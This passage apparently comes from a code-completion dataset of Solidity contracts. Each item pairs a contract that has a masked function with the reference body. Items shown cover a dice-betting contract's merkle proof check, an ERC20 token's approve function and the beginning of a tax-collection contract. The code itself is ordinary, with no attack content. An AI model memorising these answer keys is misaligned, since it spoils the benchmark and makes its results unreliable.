HOUSE_EDGE_MINIMUM_AMOUNT; } require (houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge."); winAmount = (amount - houseEdge - jackpotFee) * modulo / rollUnder; } // Helper routine to process the payment. function sendFunds(address payable beneficiary, uint amount, uint successLogAmount) private { if (beneficiary.send(amount)) { emit Payment(beneficiary, successLogAmount); } else { emit FailedPayment(beneficiary, amount); } } // This are some constants making O(1) population count in placeBet possible. // See whitepaper for intuition and proofs behind it. uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001; uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041; uint constant POPCNT_MODULO = 0x3F; // Helper to verify a full merkle proof starting from some seedHash (usually commit). "offset" is the location of the proof // beginning in the calldata. function verifyMerkleProof(uint seedHash, uint offset) pure private returns (bytes32 blockHash, bytes32 uncleHash) {<FILL_FUNCTION_BODY> } // Helper to check the placeBet receipt. "offset" is the location of the proof beginning in the calldata. function requireCorrectReceipt(uint offset) view private { uint leafHeaderByte; assembly { leafHeaderByte := byte(0, calldataload(offset)) } require (leafHeaderByte >= 0xf7, "Receipt leaf longer than 55 bytes."); offset += leafHeaderByte - 0xf6; uint pathHeaderByte; assembly { pathHeaderByte := byte(0, calldataload(offset)) } if (pathHeaderByte <= 0x7f) { offset += 1; } else { require (pathHeaderByte >= 0x80 && pathHeaderByte <= 0xb7, "Path is an RLP string."); offset += pathHeaderByte - 0x7f; } uint receiptStringHeaderByte; assembly { receiptStringHeaderByte := byte(0, calldataload(offset)) } require (receiptStringHeaderByte == 0xb9, "Receipt string is always at least 256 bytes long, but less than 64k."); offset += 3; uint receiptHeaderByte; assembly { receiptHeaderByte := byte(0, calldataload(offset)) } require (receiptHeaderByte == 0xf9, "Receipt is always at least 256 bytes long, but less than 64k."); offset += 3; uint statusByte; assembly { statusByte := byte(0, calldataload(offset)) } require (statusByte == 0x1, "Status should be success."); offset += 1; uint cumGasHeaderByte; assembly { cumGasHeaderByte := byte(0, calldataload(offset)) } if (cumGasHeaderByte <= 0x7f) { offset += 1; } else { require (cumGasHeaderByte >= 0x80 && cumGasHeaderByte <= 0xb7, "Cumulative gas is an RLP string."); offset += cumGasHeaderByte - 0x7f; } uint bloomHeaderByte; assembly { bloomHeaderByte := byte(0, calldataload(offset)) } require (bloomHeaderByte == 0xb9, "Bloom filter is always 256 bytes long."); offset += 256 + 3; uint logsListHeaderByte; assembly { logsListHeaderByte := byte(0, calldataload(offset)) } require (logsListHeaderByte == 0xf8, "Logs list is less than 256 bytes long."); offset += 2; uint logEntryHeaderByte; assembly { logEntryHeaderByte := byte(0, calldataload(offset)) } require (logEntryHeaderByte == 0xf8, "Log entry is less than 256 bytes long."); offset += 2; uint addressHeaderByte; assembly { addressHeaderByte := byte(0, calldataload(offset)) } require (addressHeaderByte == 0x94, "Address is 20 bytes long."); uint logAddress; assembly { logAddress := and(calldataload(sub(offset, 11)), 0xffffffffffffffffffffffffffffffffffffffff) } require (logAddress == uint(address(this))); } // Memory copy. function memcpy(uint dest, uint src, uint len) pure private { // Full 32 byte words for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } }
contract PlayEth{ // Each bet is deducted 1% in favour of the house, but no less than some minimum. uint constant HOUSE_EDGE_PERCENT = 1; uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0003 ether; // Bets lower than this amount do not participate in jackpot rolls (and are not deducted JACKPOT_FEE). uint constant MIN_JACKPOT_BET = 0.1 ether; // Chance to win jackpot (currently 0.1%) and fee deducted into jackpot fund. uint constant JACKPOT_MODULO = 1000; uint constant JACKPOT_FEE = 0.001 ether; // There is minimum and maximum bets. uint constant MIN_BET = 0.01 ether; uint constant MAX_AMOUNT = 300000 ether; // Modulo is a number of equiprobable outcomes in a game: // - 2 for coin flip // - 6 for dice // - 6*6 = 36 for double dice // - 100 for etheroll // - 37 for roulette // etc. // It's called so because 256-bit entropy is treated like a huge integer and // the remainder of its division by modulo is considered bet outcome. uint constant MAX_MODULO = 100; // The specific value is dictated by the fact that 256-bit intermediate // multiplication result allows implementing population count efficiently // for numbers that are up to 42 bits, and 40 is the highest multiple of // eight below 42. uint constant MAX_MASK_MODULO = 40; // This is a check on bet mask overflow. uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO; // EVM BLOCKHASH opcode can query no further than 256 blocks into the // past. Given that settleBet uses block hash of placeBet as one of // complementary entropy sources, we cannot process bets older than this // threshold. On rare occasions playeth.net croupier may fail to invoke // settleBet in this timespan due to technical issues or extreme Ethereum // congestion; such bets can be refunded via invoking refundBet. uint constant BET_EXPIRATION_BLOCKS = 250; // Some deliberately invalid address to initialize the secret signer with. // Forces maintainers to invoke setSecretSigner before processing any bets. address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // Standard contract ownership transfer. address payable public owner; address payable private nextOwner; // Adjustable max bet profit. Used to cap bets against dynamic odds. uint public maxProfit; // The address corresponding to a private key used to sign placeBet commits. address public secretSigner; // Accumulated jackpot fund. uint128 public jackpotSize; // Funds that are locked in potentially winning bets. Prevents contract from // committing to bets it cannot pay out. uint128 public lockedInBets; // A structure representing a single bet. struct Bet { // Wager amount in wei. uint amount; // Modulo of a game. uint8 modulo; // Number of winning outcomes, used to compute winning payment (* modulo/rollUnder), // and used instead of mask for games with modulo > MAX_MASK_MODULO. uint8 rollUnder; // Block number of placeBet tx. uint40 placeBlockNumber; // Bit mask representing winning bet outcomes (see MAX_MASK_MODULO comment). uint40 mask; // Address of a gambler, used to pay out winning bets. address payable gambler; } // Mapping from commits to all currently active & processed bets. mapping (uint => Bet) bets; // Croupier account. address public croupier; // Events that are issued to make statistic recovery easier. event FailedPayment(address indexed beneficiary, uint amount); event Payment(address indexed beneficiary, uint amount); event JackpotPayment(address indexed beneficiary, uint amount); // This event is emitted in placeBet to record commit in the logs. event Commit(uint commit); // Constructor. Deliberately does not take any parameters. constructor () public { owner = msg.sender; secretSigner = DUMMY_ADDRESS; croupier = DUMMY_ADDRESS; } // Standard modifier on methods invokable only by contract owner. modifier onlyOwner { require (msg.sender == owner, "OnlyOwner methods called by non-owner."); _; } // Standard modifier on methods invokable only by contract owner. modifier onlyCroupier { require (msg.sender == croupier, "OnlyCroupier methods called by non-croupier."); _; } // Standard contract ownership transfer implementation, function approveNextOwner(address payable _nextOwner) external onlyOwner { require (_nextOwner != owner, "Cannot approve current owner."); nextOwner = _nextOwner; } function acceptNextOwner() external { require (msg.sender == nextOwner, "Can only accept preapproved new owner."); owner = nextOwner; } // Fallback function deliberately left empty. It's primary use case // is to top up the bank roll. function () external payable { } // See comment for "secretSigner" variable. function setSecretSigner(address newSecretSigner) external onlyOwner { secretSigner = newSecretSigner; } // Change the croupier address. function setCroupier(address newCroupier) external onlyOwner { croupier = newCroupier; } // Change max bet reward. Setting this to zero effectively disables betting. function setMaxProfit(uint _maxProfit) public onlyOwner { require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number."); maxProfit = _maxProfit; } // This function is used to bump up the jackpot fund. Cannot be used to lower it. function increaseJackpot(uint increaseAmount) external onlyOwner { require (increaseAmount <= address(this).balance, "Increase amount larger than balance."); require (jackpotSize + lockedInBets + increaseAmount <= address(this).balance, "Not enough funds."); jackpotSize += uint128(increaseAmount); } // Funds withdrawal to cover costs of playeth.net operation. function withdrawFunds(address payable beneficiary, uint withdrawAmount) external onlyOwner { require (withdrawAmount <= address(this).balance, "Increase amount larger than balance."); require (jackpotSize + lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds."); sendFunds(beneficiary, withdrawAmount, withdrawAmount); } // Contract may be destroyed only when there are no ongoing bets, // either settled or refunded. All funds are transferred to contract owner. function kill() external onlyOwner { require (lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct."); selfdestruct(owner); } /// *** Betting logic // Bet states: // amount == 0 && gambler == 0 - 'clean' (can place a bet) // amount != 0 && gambler != 0 - 'active' (can be settled or refunded) // amount == 0 && gambler != 0 - 'processed' (can clean storage) // // NOTE: Storage cleaning is not implemented in this contract version; it will be added // with the next upgrade to prevent polluting Ethereum state with expired bets. // Bet placing transaction - issued by the player. // betMask - bet outcomes bit mask for modulo <= MAX_MASK_MODULO, // [0, betMask) for larger modulos. // modulo - game modulo. // commitLastBlock - number of the maximum block where "commit" is still considered valid. // commit - Keccak256 hash of some secret "reveal" random number, to be supplied // by the playeth.net croupier bot in the settleBet transaction. Supplying // "commit" ensures that "reveal" cannot be changed behind the scenes // after placeBet have been mined. // r, s - components of ECDSA signature of (commitLastBlock, commit). v is // guaranteed to always equal 27. // // Commit, being essentially random 256-bit number, is used as a unique bet identifier in // the 'bets' mapping. // // Commits are signed with a block limit to ensure that they are used at most once - otherwise // it would be possible for a miner to place a bet with a known commit/reveal pair and tamper // with the blockhash. Croupier guarantees that commitLastBlock will always be not greater than // placeBet block number plus BET_EXPIRATION_BLOCKS. See whitepaper for details. function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, uint8 v, bytes32 r, bytes32 s) external payable { // Check that the bet is in 'clean' state. Bet storage bet = bets[commit]; require (bet.gambler == address(0), "Bet should be in a 'clean' state."); // Validate input data ranges. uint amount = msg.value; require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range."); require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range."); require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range."); // Check that commit is valid - it has not expired and its signature is valid. require (block.number <= commitLastBlock, "Commit has expired."); bytes32 signatureHash = keccak256(abi.encodePacked(commitLastBlock, commit)); require (secretSigner == ecrecover(signatureHash, v, r, s), "ECDSA signature is not valid."); uint rollUnder; uint mask; if (modulo <= MAX_MASK_MODULO) { // Small modulo games specify bet outcomes via bit mask. // rollUnder is a number of 1 bits in this mask (population count). // This magic looking formula is an efficient way to compute population // count on EVM for numbers below 2**40. For detailed proof consult // the playeth.net whitepaper. rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO; mask = betMask; } else { // Larger modulos specify the right edge of half-open interval of // winning bet outcomes. require (betMask > 0 && betMask <= modulo, "High modulo range, betMask larger than modulo."); rollUnder = betMask; } // Winning amount and jackpot increase. uint possibleWinAmount; uint jackpotFee; (possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder); // Enforce max profit limit. require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation."); // Lock funds. lockedInBets += uint128(possibleWinAmount); jackpotSize += uint128(jackpotFee); // Check whether contract has enough funds to process this bet. require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet."); // Record commit in logs. emit Commit(commit); // Store bet parameters on blockchain. bet.amount = amount; bet.modulo = uint8(modulo); bet.rollUnder = uint8(rollUnder); bet.placeBlockNumber = uint40(block.number); bet.mask = uint40(mask); bet.gambler = msg.sender; } // This is the method used to settle 99% of bets. To process a bet with a specific // "commit", settleBet should supply a "reveal" number that would Keccak256-hash to // "commit". "blockHash" is the block hash of placeBet block as seen by croupier; it // is additionally asserted to prevent changing the bet outcomes on Ethereum reorgs. function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier { uint commit = uint(keccak256(abi.encodePacked(reveal))); Bet storage bet = bets[commit]; uint placeBlockNumber = bet.placeBlockNumber; // Check that bet has not expired yet (see comment to BET_EXPIRATION_BLOCKS). require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before."); require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM."); require (blockhash(placeBlockNumber) == blockHash); // Settle bet using reveal and blockHash as entropy sources. settleBetCommon(bet, reveal, blockHash); } // This method is used to settle a bet that was mined into an uncle block. At this // point the player was shown some bet outcome, but the blockhash at placeBet height // is different because of Ethereum chain reorg. We supply a full merkle proof of the // placeBet transaction receipt to provide untamperable evidence that uncle block hash // indeed was present on-chain at some point. function settleBetUncleMerkleProof(uint reveal, uint40 canonicalBlockNumber) external onlyCroupier { // "commit" for bet settlement can only be obtained by hashing a "reveal". uint commit = uint(keccak256(abi.encodePacked(reveal))); Bet storage bet = bets[commit]; // Check that canonical block hash can still be verified. require (block.number <= canonicalBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM."); // Verify placeBet receipt. requireCorrectReceipt(4 + 32 + 32 + 4); // Reconstruct canonical & uncle block hashes from a receipt merkle proof, verify them. bytes32 canonicalHash; bytes32 uncleHash; (canonicalHash, uncleHash) = verifyMerkleProof(commit, 4 + 32 + 32); require (blockhash(canonicalBlockNumber) == canonicalHash); // Settle bet using reveal and uncleHash as entropy sources. settleBetCommon(bet, reveal, uncleHash); } // Common settlement code for settleBet & settleBetUncleMerkleProof. function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private { // Fetch bet parameters into local variables (to save gas). uint amount = bet.amount; uint modulo = bet.modulo; uint rollUnder = bet.rollUnder; address payable gambler = bet.gambler; // Check that bet is in 'active' state. require (amount != 0, "Bet should be in an 'active' state"); // Move bet into 'processed' state already. bet.amount = 0; // The RNG - combine "reveal" and blockhash of placeBet using Keccak256. Miners // are not aware of "reveal" and cannot deduce it from "commit" (as Keccak256 // preimage is intractable), and house is unable to alter the "reveal" after // placeBet have been mined (as Keccak256 collision finding is also intractable). bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash)); // Do a roll by taking a modulo of entropy. Compute winning amount. uint dice = uint(entropy) % modulo; uint diceWinAmount; uint _jackpotFee; (diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder); uint diceWin = 0; uint jackpotWin = 0; // Determine dice outcome. if (modulo <= MAX_MASK_MODULO) { // For small modulo games, check the outcome against a bit mask. if ((2 ** dice) & bet.mask != 0) { diceWin = diceWinAmount; } } else { // For larger modulos, check inclusion into half-open interval. if (dice < rollUnder) { diceWin = diceWinAmount; } } // Unlock the bet amount, regardless of the outcome. lockedInBets -= uint128(diceWinAmount); // Roll for a jackpot (if eligible). if (amount >= MIN_JACKPOT_BET) { // The second modulo, statistically independent from the "main" dice roll. // Effectively you are playing two games at once! uint jackpotRng = (uint(entropy) / modulo) % JACKPOT_MODULO; // Bingo! if (jackpotRng == 0) { jackpotWin = jackpotSize; jackpotSize = 0; } } // Log jackpot win. if (jackpotWin > 0) { emit JackpotPayment(gambler, jackpotWin); } // Send the funds to gambler. sendFunds(gambler, diceWin + jackpotWin == 0 ? 1 wei : diceWin + jackpotWin, diceWin); } // Refund transaction - return the bet amount of a roll that was not processed in a // due timeframe. Processing such blocks is not possible due to EVM limitations (see // BET_EXPIRATION_BLOCKS comment above for details). In case you ever find yourself // in a situation like this, just contact the playeth.net support, however nothing // precludes you from invoking this method yourself. function refundBet(uint commit) external { // Check that bet is in 'active' state. Bet storage bet = bets[commit]; uint amount = bet.amount; require (amount != 0, "Bet should be in an 'active' state"); // Check that bet has already expired. require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM."); // Move bet into 'processed' state, release funds. bet.amount = 0; uint diceWinAmount; uint jackpotFee; (diceWinAmount, jackpotFee) = getDiceWinAmount(amount, bet.modulo, bet.rollUnder); lockedInBets -= uint128(diceWinAmount); jackpotSize -= uint128(jackpotFee); // Send the refund. sendFunds(bet.gambler, amount, amount); } // Get the expected win amount after house edge is subtracted. function getDiceWinAmount(uint amount, uint modulo, uint rollUnder) private pure returns (uint winAmount, uint jackpotFee) { require (0 < rollUnder && rollUnder <= modulo, "Win probability out of range."); jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0; uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100; if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) { houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT; } require (houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge."); winAmount = (amount - houseEdge - jackpotFee) * modulo / rollUnder; } // Helper routine to process the payment. function sendFunds(address payable beneficiary, uint amount, uint successLogAmount) private { if (beneficiary.send(amount)) { emit Payment(beneficiary, successLogAmount); } else { emit FailedPayment(beneficiary, amount); } } // This are some constants making O(1) population count in placeBet possible. // See whitepaper for intuition and proofs behind it. uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001; uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041; uint constant POPCNT_MODULO = 0x3F; <FILL_FUNCTION> // Helper to check the placeBet receipt. "offset" is the location of the proof beginning in the calldata. function requireCorrectReceipt(uint offset) view private { uint leafHeaderByte; assembly { leafHeaderByte := byte(0, calldataload(offset)) } require (leafHeaderByte >= 0xf7, "Receipt leaf longer than 55 bytes."); offset += leafHeaderByte - 0xf6; uint pathHeaderByte; assembly { pathHeaderByte := byte(0, calldataload(offset)) } if (pathHeaderByte <= 0x7f) { offset += 1; } else { require (pathHeaderByte >= 0x80 && pathHeaderByte <= 0xb7, "Path is an RLP string."); offset += pathHeaderByte - 0x7f; } uint receiptStringHeaderByte; assembly { receiptStringHeaderByte := byte(0, calldataload(offset)) } require (receiptStringHeaderByte == 0xb9, "Receipt string is always at least 256 bytes long, but less than 64k."); offset += 3; uint receiptHeaderByte; assembly { receiptHeaderByte := byte(0, calldataload(offset)) } require (receiptHeaderByte == 0xf9, "Receipt is always at least 256 bytes long, but less than 64k."); offset += 3; uint statusByte; assembly { statusByte := byte(0, calldataload(offset)) } require (statusByte == 0x1, "Status should be success."); offset += 1; uint cumGasHeaderByte; assembly { cumGasHeaderByte := byte(0, calldataload(offset)) } if (cumGasHeaderByte <= 0x7f) { offset += 1; } else { require (cumGasHeaderByte >= 0x80 && cumGasHeaderByte <= 0xb7, "Cumulative gas is an RLP string."); offset += cumGasHeaderByte - 0x7f; } uint bloomHeaderByte; assembly { bloomHeaderByte := byte(0, calldataload(offset)) } require (bloomHeaderByte == 0xb9, "Bloom filter is always 256 bytes long."); offset += 256 + 3; uint logsListHeaderByte; assembly { logsListHeaderByte := byte(0, calldataload(offset)) } require (logsListHeaderByte == 0xf8, "Logs list is less than 256 bytes long."); offset += 2; uint logEntryHeaderByte; assembly { logEntryHeaderByte := byte(0, calldataload(offset)) } require (logEntryHeaderByte == 0xf8, "Log entry is less than 256 bytes long."); offset += 2; uint addressHeaderByte; assembly { addressHeaderByte := byte(0, calldataload(offset)) } require (addressHeaderByte == 0x94, "Address is 20 bytes long."); uint logAddress; assembly { logAddress := and(calldataload(sub(offset, 11)), 0xffffffffffffffffffffffffffffffffffffffff) } require (logAddress == uint(address(this))); } // Memory copy. function memcpy(uint dest, uint src, uint len) pure private { // Full 32 byte words for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } }
// (Safe) assumption - nobody will write into RAM during this method invocation. uint scratchBuf1; assembly { scratchBuf1 := mload(0x40) } uint uncleHeaderLength; uint blobLength; uint shift; uint hashSlot; // Verify merkle proofs up to uncle block header. Calldata layout is: for (;; offset += blobLength) { assembly { blobLength := and(calldataload(sub(offset, 30)), 0xffff) } if (blobLength == 0) { // Zero slice length marks the end of uncle proof. break; } assembly { shift := and(calldataload(sub(offset, 28)), 0xffff) } require (shift + 32 <= blobLength, "Shift bounds check."); offset += 4; assembly { hashSlot := calldataload(add(offset, shift)) } require (hashSlot == 0, "Non-empty hash slot."); assembly { calldatacopy(scratchBuf1, offset, blobLength) mstore(add(scratchBuf1, shift), seedHash) seedHash := keccak256(scratchBuf1, blobLength) uncleHeaderLength := blobLength } } // At this moment the uncle hash is known. uncleHash = bytes32(seedHash); // Construct the uncle list of a canonical block. uint scratchBuf2 = scratchBuf1 + uncleHeaderLength; uint unclesLength; assembly { unclesLength := and(calldataload(sub(offset, 28)), 0xffff) } uint unclesShift; assembly { unclesShift := and(calldataload(sub(offset, 26)), 0xffff) } require (unclesShift + uncleHeaderLength <= unclesLength, "Shift bounds check."); offset += 6; assembly { calldatacopy(scratchBuf2, offset, unclesLength) } memcpy(scratchBuf2 + unclesShift, scratchBuf1, uncleHeaderLength); assembly { seedHash := keccak256(scratchBuf2, unclesLength) } offset += unclesLength; // Verify the canonical block header using the computed sha3Uncles. assembly { blobLength := and(calldataload(sub(offset, 30)), 0xffff) shift := and(calldataload(sub(offset, 28)), 0xffff) } require (shift + 32 <= blobLength, "Shift bounds check."); offset += 4; assembly { hashSlot := calldataload(add(offset, shift)) } require (hashSlot == 0, "Non-empty hash slot."); assembly { calldatacopy(scratchBuf1, offset, blobLength) mstore(add(scratchBuf1, shift), seedHash) // At this moment the canonical block hash is known. blockHash := keccak256(scratchBuf1, blobLength) }
function verifyMerkleProof(uint seedHash, uint offset) pure private returns (bytes32 blockHash, bytes32 uncleHash)
// Helper to verify a full merkle proof starting from some seedHash (usually commit). "offset" is the location of the proof // beginning in the calldata. function verifyMerkleProof(uint seedHash, uint offset) pure private returns (bytes32 blockHash, bytes32 uncleHash)
61391
WEXToken
approve
contract WEXToken is Context, IERC20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor(address bearer, uint256 initialSupply) public{ _name = "Wallex Token"; _symbol = "WEX"; _decimals = 18; _mint(bearer, initialSupply * 10 ** 18); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public returns (bool) {<FILL_FUNCTION_BODY> } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) private { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 value) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } }
contract WEXToken is Context, IERC20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor(address bearer, uint256 initialSupply) public{ _name = "Wallex Token"; _symbol = "WEX"; _decimals = 18; _mint(bearer, initialSupply * 10 ** 18); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } <FILL_FUNCTION> function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) private { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 value) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } }
_approve(_msgSender(), spender, value); return true;
function approve(address spender, uint256 value) public returns (bool)
function approve(address spender, uint256 value) public returns (bool)
43352
TaxCollector
taxSingleOutcome
contract TaxCollector { using LinkedList for LinkedList.List; // --- Auth --- mapping (address => uint) public authorizedAccounts; /** * @notice Add auth to an account * @param account Account to add auth to */ function addAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 1; emit AddAuthorization(account); } /** * @notice Remove auth from an account * @param account Account to remove auth from */ function removeAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 0; emit RemoveAuthorization(account); } /** * @notice Checks whether msg.sender can call an authed function **/ modifier isAuthorized { require(authorizedAccounts[msg.sender] == 1, "TaxCollector/account-not-authorized"); _; } // --- Events --- event AddAuthorization(address account); event RemoveAuthorization(address account); event InitializeCollateralType(bytes32 collateralType); event ModifyParameters( bytes32 collateralType, bytes32 parameter, uint data ); event ModifyParameters(bytes32 parameter, uint data); event ModifyParameters(bytes32 parameter, address data); event ModifyParameters( bytes32 collateralType, uint256 position, uint256 val ); event ModifyParameters( bytes32 collateralType, uint256 position, uint256 taxPercentage, address receiverAccount ); event AddSecondaryReceiver( bytes32 collateralType, uint secondaryReceiverNonce, uint latestSecondaryReceiver, uint secondaryReceiverAllotedTax, uint secondaryReceiverRevenueSources ); event ModifySecondaryReceiver( bytes32 collateralType, uint secondaryReceiverNonce, uint latestSecondaryReceiver, uint secondaryReceiverAllotedTax, uint secondaryReceiverRevenueSources ); event CollectTax(bytes32 collateralType, uint latestAccumulatedRate, int deltaRate); event DistributeTax(bytes32 collateralType, address target, int taxCut); // --- Data --- struct CollateralType { // Per second borrow rate for this specific collateral type uint256 stabilityFee; // When SF was last collected for this collateral type uint256 updateTime; } // SF receiver struct TaxReceiver { // Whether this receiver can accept a negative rate (taking SF from it) uint256 canTakeBackTax; // [bool] // Percentage of SF allocated to this receiver uint256 taxPercentage; // [ray%] } // Data about each collateral type mapping (bytes32 => CollateralType) public collateralTypes; // Percentage of each collateral's SF that goes to other addresses apart from the primary receiver mapping (bytes32 => uint) public secondaryReceiverAllotedTax; // [%ray] // Whether an address is already used for a tax receiver mapping (address => uint256) public usedSecondaryReceiver; // [bool] // Address associated to each tax receiver index mapping (uint256 => address) public secondaryReceiverAccounts; // How many collateral types send SF to a specific tax receiver mapping (address => uint256) public secondaryReceiverRevenueSources; // Tax receiver data mapping (bytes32 => mapping(uint256 => TaxReceiver)) public secondaryTaxReceivers; address public primaryTaxReceiver; // Base stability fee charged to all collateral types uint256 public globalStabilityFee; // [ray%] // Number of secondary tax receivers ever added uint256 public secondaryReceiverNonce; // Max number of secondarytax receivers a collateral type can have uint256 public maxSecondaryReceivers; // Latest secondary tax receiver that still has at least one revenue source uint256 public latestSecondaryReceiver; // All collateral types bytes32[] public collateralList; // Linked list with tax receiver data LinkedList.List internal secondaryReceiverList; SAFEEngineLike public safeEngine; // --- Init --- constructor(address safeEngine_) public { authorizedAccounts[msg.sender] = 1; safeEngine = SAFEEngineLike(safeEngine_); emit AddAuthorization(msg.sender); } // --- Math --- function rpow(uint x, uint n, uint b) internal pure returns (uint z) { assembly { switch x case 0 {switch n case 0 {z := b} default {z := 0}} default { switch mod(n, 2) case 0 { z := b } default { z := x } let half := div(b, 2) // for rounding. for { n := div(n, 2) } n { n := div(n,2) } { let xx := mul(x, x) if iszero(eq(div(xx, x), x)) { revert(0,0) } let xxRound := add(xx, half) if lt(xxRound, xx) { revert(0,0) } x := div(xxRound, b) if mod(n,2) { let zx := mul(z, x) if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0,0) } let zxRound := add(zx, half) if lt(zxRound, zx) { revert(0,0) } z := div(zxRound, b) } } } } } uint256 constant RAY = 10 ** 27; uint256 constant HUNDRED = 10 ** 29; uint256 constant ONE = 1; function addition(uint x, uint y) internal pure returns (uint z) { z = x + y; require(z >= x); } function addition(int x, int y) internal pure returns (int z) { z = x + y; if (y <= 0) require(z <= x); if (y > 0) require(z > x); } function subtract(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x); } function subtract(int x, int y) internal pure returns (int z) { z = x - y; require(y <= 0 || z <= x); require(y >= 0 || z >= x); } function deduct(uint x, uint y) internal pure returns (int z) { z = int(x) - int(y); require(int(x) >= 0 && int(y) >= 0); } function multiply(uint x, int y) internal pure returns (int z) { z = 